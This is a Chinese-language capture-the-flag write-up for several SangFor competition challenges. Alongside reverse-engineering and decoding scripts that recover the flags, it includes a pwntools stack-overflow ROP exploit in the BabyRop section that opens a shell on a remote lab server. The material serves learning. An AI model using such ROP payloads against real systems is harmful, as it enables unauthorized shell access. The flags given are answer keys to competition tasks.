1.签到
比较坑的点是《一起来看***》是17,猜了很久才猜出来
28-08-30-07-04-20-02-17-23-01-12-19
得到flag SangFor{d93b7da38d89c19f481e710ef1b3558b}
2.BabyRop
一万年没做pwn了,为了骗点分还是看了一下。
- fgets存在栈溢出
- 没有cannary保护
- 存在system函数(也可以用func1),存在/cin/sh字符串
所以可以直接getshell。坑点是不能使用/cin/sh和/sh要执行system(“sh”)
from pwn import *
elf = ELF('./BabyRop')
#p = process('./BabyRop')
p = remote('192.168.41.27',11000)
func1 = 0x080491D6
cbinsh = 0x0804C024+5
main = 0x0804926B
Go = 0x08049227
payload = b'a'*44+p32(func1)+p32(Go)+p32(cbinsh)
p.sendline(payload)
p.interactive()
3.BabySmc
看题目就知道有自修改了。自解密后保存,自解密方法循环右移3位,再和0x5A异或
有点像变形的base64。也是3个字符变成4个字符,还有查表和异或。
关键点是需要弄清楚3个字符被分到了4个字符的哪个地方
直接给代码吧。得到最后的flag:SangFor{XSAYT0u5DQhaxveIR50X1U13M-pZK5A0}
#include <stdio.h>
#include<stdlib.h>
unsigned char table[] = {
0xE4,0xC4,0xE7,0xC7,0xE6,0xC6,0xE1,0xC1,0xE0,0xC0,0xE3,0xC3,0xE2,0xC2,0xED,0xCD,
0xEC,0xCC,0xEF,0xCF,0xEE,0xCE,0xE9,0xC9,0xE8,0xC8,0xEB,0xCB,0xEA,0xCA,0xF5,0xD5,
0xF4,0xD4,0xF7,0xD7,0xF6,0xD6,0xF1,0xD1,0xF0,0xD0,0xF3,0xD3,0xF2,0xD2,0xFD,0xDD,
0xFC,0xDC,0xFF,0xDF,0x95,0x9C,0x9D,0x92,0x93,0x90,0x91,0x96,0x97,0x94,0x8A,0x8E
};
int main()
{
unsigned char encode[] = "H>oQn6aqLr{DH6odhdm0dMe`MBo?lRglHtGPOdobDlknejmGI|ghDb<4";
for (int i = 0; i < 56;i += 4)
{
unsigned char t1=0, t2=0, t3=0, t4=0;
unsigned char d1=0, d2=0, d3=0;
unsigned char idx1 = 0, idx2 = 0, idx3 = 0, idx4 = 0;
t1 = encode[i] ^ 0xa6;
t2 = encode[i + 1] ^ 0xa3;
t3 = encode[i + 2] ^ 0xa9;
t4 = encode[i + 3] ^ 0xac;
for (; idx1 < 64; idx1++)
{
if (t1 == table[idx1])
break;
}
for (; idx2 < 64; idx2++)
{
if (t2 == table[idx2])
break;
}
for (; idx3 < 64; idx3++)
{
if (t3 == table[idx3])
break;
}
for (; idx4 < 64; idx4++)
{
if (t4 == table[idx4])
break;
}
d1 = (idx1 & 0x3f) << 2 | (idx2 & 0x30) >> 4;
d2 = (idx2 & 0xf) << 4 | (idx3 & 0x3c) >> 2;
d3 = (idx3 & 0x3) << 6 | (idx4 & 0x3f);
printf("%c%c%c", d1, d2, d3);
}
getchar();
}
4. Ez_android
可以直接在string中找到user:admin md5在线查询得到password:654321。顺利通过第一关。
通过验证会去连接139.224.191.281 20080来获取key。
最后还需要输入flag,将flag做了变形base64,table为上一步得到的字符串
网上找了个base64变形的代码,得到flag:SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}
import base64
import string
string = "3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P"
tableBase64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
tableNew = "TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom"
'''
maketrans():用于创建字符映射的转换表,对于接受两个参数的最简单的调用方式,第一个参数是字符串,表示需要转换的字符,第二个参数也是字符串表示转换的目标;
translate():法根据参数table给出的表(包含 256 个字符)转换字符串的字符, 要过滤掉的字符放到 del 参数中;
decode():以encoding指定的编码格式解码字符串。
'''
'1.换表'
maketrans = str.maketrans(tableNew, tableBase64)
'2.使用新表转换字符串'
translate = string.translate(maketrans)
'2.Base64解码'
flag = base64.b64decode(translate)
'''
三合一操作:
flag = base64.b64decode(string.translate(str.maketrans(tableNew, tableBase64)))
'''
print (flag)
6.DeltX
检验1:
限制flag长度为41,SangFor{开头,前面 12个字节为0-9A-F+4字节0-9a-f+16字节0-9A-F。
接着会将flag的本体每4个字节转换为hex。比如"ABCD"就变成0xABCD
校验2:
我们把每次校验的数字记为X和Y,会将X和Y经过下面的加密得到v48与0x249e15c5进行比较
中间的两个while循环简化后如下,中间的while循环只是做了一个xor
do
{
tmp = y&x
y = x^y
x = 2*(tmp)
}while(x)
检验3:
将Y单独做加密与0xFFFF59BC做比较,可以将上面的情况约束到只有一个解
破解之法
因为X和Y都是0x0000-0xFFFF所以范围不是很大,可以使用暴力的方法将所有校验1结果为0x249e15c5的X和Y记录,动态调试验证校验2
#include<stdio.h>
#include<stdlib.h>
int main()
{
for (int x=0; x < 0xffff; x++)
{
for (int y=0; y < 0xffff; y++)
{
int tmp = 0, tmpx = 0, tmpy = 0;
int tmpyy = y,tmpxx=x;
for (; tmpyy; tmpyy >>= 1)
{
if ((tmpyy & 1) != 0)
{
tmpx = tmpxx;
do
{
tmp = tmpy & tmpx;
tmpy = tmpx ^ tmpy;
tmpx = 2 * (tmp);
//if (x == 0x1234 && y == 0x5678)printf("tmp:%x tmpx:%x tmpy:%x\n",tmp,tmpx,tmpy);
} while (tmpx);
}
tmpxx *= 2;
}
if (tmpy == 0x249e15c5)
{
printf("x:%x y:%x\n", x, y);
}
}
}
}
爆破得到两条记录,经过动态调试验证校验2,得到flag的前8个字符为:2C7BD2BF
[*]x:2C7B y:D2BF 可以
[*]x:D2BF y:2C7B
flag
同理可以爆破得到所有的flag:SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}
0x249E15C5 0xFFFF59BC
[*]x:2c7b y:d2bf 可以
[*]x:d2bf y:2c7b
SangFor{2C7BD2BF
0x34C7EAE2 0x216B
[*]x:596E y:9717
[*]x:64BA y:8625
[*]x:8625 y:64BA 可以
[*]x:9717 y:596E
SangFor{2C7BD2BF862564ba
0x637973BA 0x819D
[*]x:6B6E y:ED0B
[*]x:ED0B y:6B6E 可以
SangFor{2C7BD2BF862564baED0B6B6E
0xE5FD104 0x9393
[*]x:1214 y:CB8D
[*]x:15BC y:A94F
[*]x:18BB y:94CC
[*]x:2533 y:62EC
[*]x:3176 y:4A66
[*]x:4A66 y:3176
[*]x:62EC y:2533
[*]x:94CC y:18BB
[*]x:A94F y:15BC
[*]x:CB8D y:1214
SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}
总结
比赛难度不是很大,而且很多大战队都去RCTF了,比赛过程还是挺好的。
没有接触过VM的逆向,之后有空了会将剩下的逆向Easy_VM、safe box、OddCode给补上
说了要补上的
Easy_VM超详细题解:https://blog.csdn.net/abel_big_xu/article/details/120285565?spm=1001.2014.3001.5501